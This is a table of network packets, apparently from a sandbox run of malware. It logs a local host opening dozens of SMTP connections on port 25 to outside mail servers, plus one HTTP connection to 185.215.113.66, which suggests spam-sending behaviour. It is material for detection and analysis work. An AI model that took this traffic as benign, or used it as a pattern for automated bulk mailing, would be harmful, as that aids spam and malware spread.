Aug 24, 2023 19:03:40.478085995 CEST	50152	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:40.486421108 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.486577034 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.487535000 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:40.487917900 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.488354921 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:40.498308897 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.498480082 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.511712074 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.511764050 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.512100935 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:40.513458967 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.521501064 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.521686077 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.521698952 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.521778107 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.532047987 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.538944960 CEST	50154	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:40.540370941 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.540621996 CEST	50149	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.563641071 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:40.563683987 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.563934088 CEST	50150	25	192.168.2.8	170.10.144.242
Aug 24, 2023 19:03:40.563972950 CEST	50148	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.579704046 CEST	25	50147	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.580045938 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.580055952 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.580672026 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.593220949 CEST	50155	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:40.596113920 CEST	25	50142	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:40.596601963 CEST	50142	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:40.599390030 CEST	25	50146	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:40.599648952 CEST	50146	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.603462934 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:40.603634119 CEST	50152	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:40.605914116 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.606163979 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.606280088 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.606344938 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:40.606380939 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:40.611975908 CEST	25	50141	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:40.612027884 CEST	50156	25	192.168.2.8	64.251.188.9
Aug 24, 2023 19:03:40.612083912 CEST	25	50141	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:40.612416029 CEST	50141	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:40.613301039 CEST	50157	25	192.168.2.8	198.208.69.107
Aug 24, 2023 19:03:40.617784977 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.617958069 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.626455069 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.630575895 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.630707979 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:40.648011923 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.649585962 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.649941921 CEST	50149	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.650629997 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.650687933 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.650736094 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.650777102 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.650897980 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.650933981 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.650968075 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.651004076 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.651037931 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.651211023 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.651263952 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.651304007 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.652204990 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.673326015 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.673398018 CEST	25	50154	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:40.673722982 CEST	50154	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:40.673729897 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.674201965 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:40.674520969 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:40.677634954 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:40.677692890 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:40.677989006 CEST	50150	25	192.168.2.8	170.10.144.242
Aug 24, 2023 19:03:40.693378925 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.703597069 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.703658104 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:40.703701973 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.704088926 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:40.704309940 CEST	50148	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.719047070 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.720352888 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:40.720529079 CEST	50155	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:40.720911980 CEST	25	50142	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:40.722393990 CEST	25	50142	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:40.722665071 CEST	50142	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:40.731358051 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.731419086 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.731890917 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.732222080 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:40.732403994 CEST	50152	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:40.752652884 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.752804995 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.752954960 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.753315926 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.757493019 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.758585930 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:40.758662939 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.758703947 CEST	50156	25	192.168.2.8	64.251.188.9
Aug 24, 2023 19:03:40.758856058 CEST	50149	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.760238886 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.761424065 CEST	50149	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.762737036 CEST	50161	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.765619993 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.765789032 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.771732092 CEST	25	50146	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:40.771801949 CEST	25	50146	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:40.772229910 CEST	50146	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.773686886 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.774597883 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.774724007 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.781296015 CEST	25	50141	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:40.781430960 CEST	25	50141	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:40.781510115 CEST	50141	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:40.782314062 CEST	50141	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:40.782361031 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.787841082 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:40.788183928 CEST	50150	25	192.168.2.8	170.10.144.242
Aug 24, 2023 19:03:40.789274931 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.799372911 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.799485922 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:40.803245068 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.803344965 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:40.805085897 CEST	25	50154	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:40.805376053 CEST	50154	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:40.836229086 CEST	25	50153	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.836360931 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.839801073 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.840938091 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.841130018 CEST	50148	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.842142105 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.842295885 CEST	50148	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.849589109 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.849802017 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.852080107 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.855993032 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:40.856230021 CEST	50162	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:40.856437922 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:40.856760979 CEST	25	50157	198.208.69.107	192.168.2.8
Aug 24, 2023 19:03:40.856878042 CEST	50157	25	192.168.2.8	198.208.69.107
Aug 24, 2023 19:03:40.860829115 CEST	25	50117	167.114.44.2	192.168.2.8
Aug 24, 2023 19:03:40.860948086 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:40.861042023 CEST	50117	25	192.168.2.8	167.114.44.2
Aug 24, 2023 19:03:40.861195087 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:40.861376047 CEST	50152	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:40.869443893 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.879216909 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.879354000 CEST	50161	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.882720947 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.882880926 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.888870001 CEST	25	50147	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.888998032 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.908509970 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.916330099 CEST	50163	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.935856104 CEST	25	50154	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:40.936079025 CEST	50154	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:40.938040972 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:40.941265106 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.941612959 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.942854881 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:40.943048000 CEST	50156	25	192.168.2.8	64.251.188.9
Aug 24, 2023 19:03:40.947587967 CEST	25	50146	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:40.947818995 CEST	50146	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.950200081 CEST	25	50141	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:40.955184937 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.955313921 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.960463047 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.960664988 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.965435028 CEST	25	50117	167.114.44.2	192.168.2.8
Aug 24, 2023 19:03:40.965713978 CEST	50117	25	192.168.2.8	167.114.44.2
Aug 24, 2023 19:03:40.971673012 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.971805096 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.971904993 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.971965075 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.976640940 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.985268116 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:40.986161947 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:40.986219883 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:40.986538887 CEST	50152	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:40.993761063 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.994115114 CEST	50161	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.996172905 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.996331930 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.996500969 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.000051022 CEST	50164	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:41.001471043 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.002317905 CEST	50165	25	192.168.2.8	148.163.145.87
Aug 24, 2023 19:03:41.003531933 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.023350000 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.023523092 CEST	50163	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:41.024068117 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.024163008 CEST	50162	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.044367075 CEST	50166	25	192.168.2.8	24.222.0.18
Aug 24, 2023 19:03:41.049712896 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.049881935 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.067045927 CEST	25	50154	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:41.067183018 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.067358017 CEST	50154	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:41.067540884 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.072503090 CEST	25	50117	167.114.44.2	192.168.2.8
Aug 24, 2023 19:03:41.072942019 CEST	50117	25	192.168.2.8	167.114.44.2
Aug 24, 2023 19:03:41.077702999 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:41.079488039 CEST	50167	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:41.079942942 CEST	25	50147	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.080182076 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.086929083 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.090056896 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:41.090420008 CEST	50156	25	192.168.2.8	64.251.188.9
Aug 24, 2023 19:03:41.095488071 CEST	25	50157	198.208.69.107	192.168.2.8
Aug 24, 2023 19:03:41.099837065 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.100023031 CEST	50155	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.106657982 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:41.106950045 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:41.107362032 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.107625961 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.107821941 CEST	50161	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.109980106 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.110347986 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.111530066 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.111649990 CEST	25	50152	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.111876965 CEST	50152	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.112837076 CEST	25	50164	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:41.113008022 CEST	50164	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:41.113504887 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.113544941 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.113578081 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.113646984 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.113677025 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.113785028 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.120336056 CEST	25	50146	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:41.122591972 CEST	50146	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:41.132353067 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.132572889 CEST	50163	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:41.142348051 CEST	25	50153	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.142462969 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.142661095 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:41.142745018 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.147526979 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:41.154164076 CEST	50150	25	192.168.2.8	170.10.144.242
Aug 24, 2023 19:03:41.159481049 CEST	25	50166	24.222.0.18	192.168.2.8
Aug 24, 2023 19:03:41.159622908 CEST	50166	25	192.168.2.8	24.222.0.18
Aug 24, 2023 19:03:41.163327932 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.163501024 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.174551964 CEST	25	50165	148.163.145.87	192.168.2.8
Aug 24, 2023 19:03:41.174760103 CEST	50165	25	192.168.2.8	148.163.145.87
Aug 24, 2023 19:03:41.183738947 CEST	25	50167	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:41.184580088 CEST	50167	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:41.185898066 CEST	50168	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:41.186547995 CEST	25	50117	167.114.44.2	192.168.2.8
Aug 24, 2023 19:03:41.186867952 CEST	50117	25	192.168.2.8	167.114.44.2
Aug 24, 2023 19:03:41.194180012 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.194417953 CEST	50162	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.198164940 CEST	50169	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.198662043 CEST	25	50154	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:41.198843002 CEST	50154	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:41.221668959 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.221878052 CEST	50161	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.226871014 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.226927042 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.227026939 CEST	25	50151	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.227118015 CEST	50155	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.238785028 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:41.239032984 CEST	50156	25	192.168.2.8	64.251.188.9
Aug 24, 2023 19:03:41.239429951 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.252846956 CEST	50170	25	192.168.2.8	206.219.199.110
Aug 24, 2023 19:03:41.256458044 CEST	50171	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:41.264008045 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.264128923 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.267910004 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.272248983 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.272277117 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:41.272463083 CEST	50150	25	192.168.2.8	170.10.144.242
Aug 24, 2023 19:03:41.276005030 CEST	25	50166	24.222.0.18	192.168.2.8
Aug 24, 2023 19:03:41.276035070 CEST	25	50166	24.222.0.18	192.168.2.8
Aug 24, 2023 19:03:41.276182890 CEST	50166	25	192.168.2.8	24.222.0.18
Aug 24, 2023 19:03:41.276182890 CEST	50166	25	192.168.2.8	24.222.0.18
Aug 24, 2023 19:03:41.283934116 CEST	25	50171	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:41.284082890 CEST	50171	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:41.287895918 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.290637970 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.290824890 CEST	50163	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:41.291075945 CEST	25	50117	167.114.44.2	192.168.2.8
Aug 24, 2023 19:03:41.291106939 CEST	25	50117	167.114.44.2	192.168.2.8
Aug 24, 2023 19:03:41.291405916 CEST	50172	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.291486025 CEST	50117	25	192.168.2.8	167.114.44.2
Aug 24, 2023 19:03:41.306412935 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.313210964 CEST	25	50171	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:41.313427925 CEST	50171	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:41.324120998 CEST	25	50153	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.324307919 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.329766035 CEST	25	50154	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:41.330931902 CEST	25	50154	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:41.331064939 CEST	50154	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:41.334382057 CEST	25	50143	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:41.334414959 CEST	25	50143	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:41.334520102 CEST	50143	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:41.334563017 CEST	50143	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:41.341718912 CEST	25	50171	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:41.343802929 CEST	50171	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:41.351938963 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.352150917 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.352562904 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:41.353903055 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.354000092 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.354126930 CEST	50155	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.355689049 CEST	25	50165	148.163.145.87	192.168.2.8
Aug 24, 2023 19:03:41.355873108 CEST	50165	25	192.168.2.8	148.163.145.87
Aug 24, 2023 19:03:41.359277964 CEST	25	50170	206.219.199.110	192.168.2.8
Aug 24, 2023 19:03:41.359586000 CEST	50170	25	192.168.2.8	206.219.199.110
Aug 24, 2023 19:03:41.362272024 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.363090038 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.363234043 CEST	50162	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.368752003 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.368902922 CEST	50169	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.369076967 CEST	50173	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.372325897 CEST	25	50171	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:41.372390985 CEST	25	50164	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:41.372459888 CEST	25	50164	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:41.372606993 CEST	50171	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:41.372674942 CEST	50164	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:41.372674942 CEST	50164	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:41.373862982 CEST	50174	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.375765085 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.387934923 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:41.390850067 CEST	25	50166	24.222.0.18	192.168.2.8
Aug 24, 2023 19:03:41.395100117 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.397655964 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.398698092 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.398729086 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.398746014 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.398807049 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.398844004 CEST	50161	25	192.168.2.8	17.57.156.30
